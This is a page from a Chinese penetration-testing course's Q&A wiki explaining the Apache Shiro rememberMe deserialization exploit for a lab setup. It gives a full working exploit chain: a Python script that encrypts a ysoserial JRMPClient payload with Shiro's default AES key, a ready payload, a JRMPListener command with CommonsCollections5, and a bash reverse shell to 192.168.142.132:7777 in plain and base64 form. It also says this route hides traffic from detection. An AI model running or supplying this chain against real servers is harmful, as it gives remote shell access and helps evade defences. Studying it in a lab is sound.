课程问题
【汇总】刻录BadUSB问题-社会工程学
【汇总】CVE-2022-22965-SpringRCE复现问题
Linux文件管理章节,排除exclude隐藏文件、查找不是以txt结尾的文件
Linux编辑模式如何恢复操作?
计算机网络-安装winPcap提示a newer version of WinPcap is already installed on this machine
MySQL表添加外键不生效
MySQL-phpMyAdmin登录失败
PHP代码在vscode不能执行
kali安装docker失败
CSRF漏洞学完了,怎么练习
kali apt安装软件提示:unable to locate package无法定位软件包
kali中beef-xss配置文件
msf安装viper炫彩蛇 docker-compose up -d 报错
【汇总】git信息泄露,githack利用不成功
【汇总】蚁剑antsword连接报错
Kioptrix Level 1靶机扫描不到IP
逆向课程吾爱破解工具包不能运行
【汇总】永恒之蓝漏洞/eternalblue/ms17-010复现不成功
跳板机发起攻击的问题
跳板机也会被追溯到吧,以为用访问日志和历史查看?
逆向课程,win10 64位的od 和IDA 在哪下?
vulnhub靶场prime1提权失败GLIBC问题
Linux git clone TCP connection reset by peer
ssrf与gopher与redis
CSRF靶场报错无数据库以及复现漏洞时金额不减少的问题
【汇总】SQL注入靶场sqli-labs连接/数据库初始化错误
sqli-labs靶场21关报错:mysqli_real_escape_string() expects parameter 1 to by mysqli, null given in
SQL注入floor报错注入原理
【汇总】SQL注入load_file不能读文件(secure_file_priv)
SQL注入 python盲注脚本出现了多余错误的字符
Kali——SQL注入的school靶场怎么搭建?
在使用sqlmap时,明明有注入点,却sqlmap跑不出来,会是什么原因?
CNNVD漏洞分类指南旧网址打不开
msf编码免杀执行报错:No .text section found in the template
zenmap(nmap windows版本)下载地址
【汇总】安装运行oneforall报错
PHP代码提示 expects parameter 1 to be mysqli_result bool given in
安装xsser报错,pkgProblemResolver
安装CodeTest报错
【汇总】DVWA靶场报错
PHP报错C:\php\ext\php_mysqli.dll (找不到指定的模块)
java-jar启动报错找不到或无法加载主类
【汇总】文件上传漏洞upload-labs无法复现汇总
SSH Key后门免密登录
localhost和127.0.0.1的关系
Apache添加mod security模块后无法启动
fastjson JdbcRowSetImpl利用链,为什么会自动执行恶意代码
反弹连接命令的含义
【汇总】Redis客户端不能连接到Redis服务端,卡住、超时或者拒绝连接
【汇总】反弹连接不成功(Redis未授权访问漏洞)
PAM依据什么找到服务对应的配置文件?
【汇总】文件上传漏洞upload-labs靶场无图片、无样式,打开关卡404
【汇总】Apache启动失败
【汇总】Fastjson复现失败总结和思路
免杀课程上的有溢出漏洞360版本在哪下
awvs web网站打不开
【汇总】vulhub靶场无法启动/连接
浏览器的cookie文件保存在哪里
log4j无法修改日志等级问题,只有error触发漏洞
Charles抓包问题
useradd 参数 -p 指定密码登录失败
tar -rf 往gz 压缩包里面追加文件
SQL注入中如users表名显示的字段名过多
Redis连接成功,但执行命令时报错(error) DENIED Redis is running in protected mode
在渗透测试过程中,怎么判断一个web网站使用了struts
青花瓷插件版本(charles证书导入burp suite)
SRC基础抓包 - proxifier抓小程序包报错
sqli-labs使用group_concat查询时报错:在没有GROUP BY的聚合查询中,SELECT 列表的表达式#3包含非聚合列'security.users.password;这与sql_mode=only_full _group_by 不兼容
nessus 报错 UnicodeDecodeError: 'gbk' codec can't decode byte 0xa2 in position 6588: illegal multibyte sequence
灯塔 timeout of 12000ms
SUID提权find -p问题
信息收集搭建代理IP|快代理的使用|搭建代理池
Webgoat Java源代码审计靶场问题汇总
XSS课程sendmail收不到邮件
SUDO权限配置不成功
beef-xss启动失败
centos7替换yum源为阿里云报错正在连接 mirrors.xxx | 127.0.0.2|:80... 失败:拒绝连接。
交换互联互通基础-实验:三层网关通信 配置失败问题
cmd运行.py文件,会自动弹出pycharm
永恒之蓝漏洞run vnc没有反应
sed删除两个特定字符中间的内容
sqli-labs靶场报错group_concat does no exist
RuoYiv4.7.1启动报错java: 程序包io.swagger.annotations不存在
type-poc.php运行报错unexpected T_PAAMAYIM_NEKUDOTAYIM
typecho反序列化漏洞复现失败问题
安卓模拟器openssl转换burp证书报错
计算机网络-网络协议分析-威胁数据流实战Bravo-1.pcapng流量分析答案
打开了php.ini搜索magic_quotes_gpc = On找不到
获取windows保存的明文WiFi密码
反序列化工程serialize-vul只能查看.class不能查看.java源码
【汇总】codereg.py-ddddocr启动/识别问题
【汇总】shiro反序列化(包括内存马)复现问题
【汇总】pikachu-XSS后台-pkXss报错复现不成功
域控和域管理员有啥区别
csrf靶场bank登录出现404错误
PHP代码审计-bluecms靶场搭建
"echo PHP_EOL"查了是换行符的意思,但运行完却没有换行
思科路由器ip地址调试界面问题
【汇总】log4j漏洞复现不成功-原因和排查思路
MySQL约束不生效,插入数据不报错
sqlmap --os-shell失败 无写入权限
MYSQL80:ERROR 1045 (28000):解决方法
MYSQL:绕过权限验证存在的问题(mysqld --console --skip-grant-tables --shared-memory)
vmware workstation虚拟机列表没有“共享的虚拟机”
vulnhub-dc9-端口敲门以后无法连接
docker拉取镜像失败pulling fs layer
【汇总】Weblogic漏洞复现问题
xss-labs第14关不显示
计算机网络课程-子网划分答案
sqlmap执行POST注入的两种方式
逆向课程开发工具vs2008 vc6.0
sqli-labs靶场第21关cannot modify header information -headers错误
Cannot resolve plugin org.apache.maven.plugins:maven-resources-plugin:3.2.0
msi宏病毒,双击xlsm文件没有上线
【汇总】综合信息收集工具hbit运行相关问题
解决自建wooyun系统无法使用搜索功能
【汇总】easyocr运行报错
w8fuckcdn运行文件报错
执行net view报错6118
浏览器打开PHP文件显示源代码,没有运行代码
安装jwt-cracker报错idealTree:lib: sill idealTree buildDeps
burp插件HAE相关问题
Linux配置Java/JDK(Kali启动JRMPListener报错)
esedbexport工具的github地址已经失效
beef-xss报错in `require`: cannot load such file -- msgpack(LoadError)
【汇总】yum安装MySQL,mysql -uroot -p临时密码无法登录
灯塔ARL报错timeout of 12000ms exceeded
httpconn暴破dvwa第一个密码0000提示破解成功
【汇总】访问jsp文件报错:HTTP500内部服务器错误,无法编译为JSP类
【汇总】sqlmap运行报错
powershell脚本运行问题
【汇总】API漏洞-crapi靶场问题
Excel无法在未启用宏的工作簿中保存以下功能
CVE-2020-16848 SaltStack命令注入返回406 Not acceptable
【汇总】IDEA-Tomcat项目访问页面404,找不到localhost的网页
python2安装Crypto库报错
安装Typecho无法连接数据库Database Server Error
find -name加引号和不加引号的区别
【汇总】Docker逃逸问题-CVE-2019-5736-CVE漏洞复现
XXE漏洞,不能读取本地文件
vulnhub-breach1-war包报错
Apache Commons Collections调用链路
log4j工程unboundid依赖报错
【汇总】内存马AgentDemo工程报错
vulnhub-prime靶机显示异常
Shiro反序列化漏洞原理解释
内存马课程小马xiaoma.jsp上传文件失败
vulhub-log4j漏洞复现流程
【汇总】CVE-2021-31805-struts2 s2-062漏洞复现失败
安卓逆向手机选择
【汇总】WinRAR代码执行漏洞CVE-2023-38831
vulnhub靶机扫描不到ip地址
kill -9 杀不死ping baidu进程的问题
【汇总】CVE-2022-22947-Spring Cloud Gateway RCE(SpEL表达式)
XSS课程中存储型XSS靶场无法注册
XSS课程资料代码怎么使用
CVE-2018-12613-phpMyAdmin4.8.x文件包含漏洞
本文档使用 MrDoc 发布
-
+
首页
Shiro反序列化漏洞原理解释
关联问题: 为什么我发送一个cookie也就是正确的rememe字段他就会来反弹连接我的jrmp的服务器 https://www.mashibing.com/question/detail/98722 是不是经过了两次反序列化 https://www.mashibing.com/question/detail/98059 课程: 《4-利用方式和工具》 # 登录验证机制 ![](/media/202404/2024-04-27_215112_4644610.7908457013678454.png) # 利用流程 ![](/media/202404/2024-04-27_201635_9492790.28938819460471776.png) 我们反过来看漏洞攻击是怎么发生的: # 环境 192.168.142.132:8888 JRMPListner端口 192.168.142.132:7777 反弹连接端口 # 第四步:把序列化以后的payload发送给漏洞服务器 ``` rememberMe=+DcRVRC3TxGKeuGHa4TZSWqqLtQGyPvE0mjicSb4nm6nUdC6PwNxo6ZgbQLuHr8wq3ECYQVLqKXaECtmKQhW91hbrn3XgJzn3XRUgNEciP3dQpQcOO1ID+vsns3qmyd6SMva5e+cX7z74AwVAK2i0cwc/AmnVUV/oCdA9nHPcb6b5EH23bkrLuafb5Ij7e6t+X1pZunOUFbquQqrBCW4D+hmUS+g93brv5cpLDmR5DWkh7yqWyTXMWKzZqRP0iW/x1gOFVZ3wPv2CYZhvQlH3jpk7nxq5gf5rfCgQ7T8R7OJ66zQc92gx0kbInRJ/QT3v19RF3Jn/q7fBGyX2/LDDdjPzd4DYBMj3CgH3Cx4FuElMv4364VTknFZqVj4gMsfGS2OA9NZ/2jVIFhTdhvU3w== ``` <font color="red">问题:这个payload里面包含了什么呢?服务器反序列化这段内容的时候会发生什么事情?</font> # 第三步:生成一段连接JRMPListner的序列化内容,填入IP端口 以上的payload是用如下命令生成的: ``` python3 shiro.py 192.168.142.132:8888 ``` `192.168.142.132:8888` 就是Kali的JRMPListner的地址。 我们来研究下shiro.py的内容: ``` import sys import uuid import base64 import subprocess from Crypto.Cipher import AES def encode_rememberme(command): # 打开JRMP客户端,连接到特定端口,获取yso已经【序列化】的内容 # 这里已经序列化内容就是去 连接指定的JRMPListner服务器 popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE) # 用获取到的key 【AES加密】 BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") # 生成随机16位长度的IV iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) # 【base64编码】 base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) print("rememberMe={0}".format(payload.decode())) ``` 由代码的注释可以清楚地看到,当这段代码被【bsse64解码——解密——反序列化】出来执行的时候,会做以下事情: <font color="red"> 连接指定的JRMPListner服务器</font> 这个就是我们填写的:192.168.142.132:8888 <font color="red">问题:为什么最终连接到192.168.142.132:7777 ,会执行反弹连接代码? </font> # 第二步:使用ysoserial.jar工具包在Kali服务器启动了一个JRMPListner 监听本机的8888端口 命令: ``` java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Mi4xMzIvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}" ``` 作用: ysoserial工具会把末尾双引号""里面的恶意命令(此处是反弹连接的命令)进行序列化。 <font color="red">答案揭晓:`漏洞服务器`连接到ysoserial程序监听的JRMPListner(8888端口)的时候,ysoserial程序给漏洞服务发送了经过序列化的恶意命令</font> # 第一步:把反弹连接的命令,用base64编码工具进行编码 工具网页: https://wiki.bafangwy.com/doc/401/ 原命令: `bash -i >& /dev/tcp/192.168.142.132/7777 0>&1` 编码以后: ` bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Mi4xMzIvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}` 这个命令会交由ysoserial进行序列化。 # 详细流程 ![](/media/202404/2024-04-27_200501_8029020.6061135806433284.png) # 其他问题: ## 1、shiro漏洞利用的前提是什么? 1)属于有漏洞的版本 2)key可以被暴破(否则无法解密) ## 2、Apache Shiro和Apache Commons Collections的关系是什么? Shiro存在反序列化漏洞的时候,仅仅能做到反序列化任意类,但是并不能构成在反序列化的时候自动执行任意代码。 所以要借助于Apache Shiro依赖里面包含的Apache Commons Collections。 ## 3、为什么要用ysoserial发起利用,直接给漏洞服务器发反弹连接payload,不用ysoserial可以吗? 不用也可以。 使用ysoserial的优势:是漏洞服务器主动连接攻击机器,流量更隐蔽,防止被识别、拦截。 关联知识点: Apache Commons Collections调用链路 https://wiki.bafangwy.com/doc/578/
无涯
2024年5月21日 10:06
转发文档
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
分享
链接
类型
密码
更新密码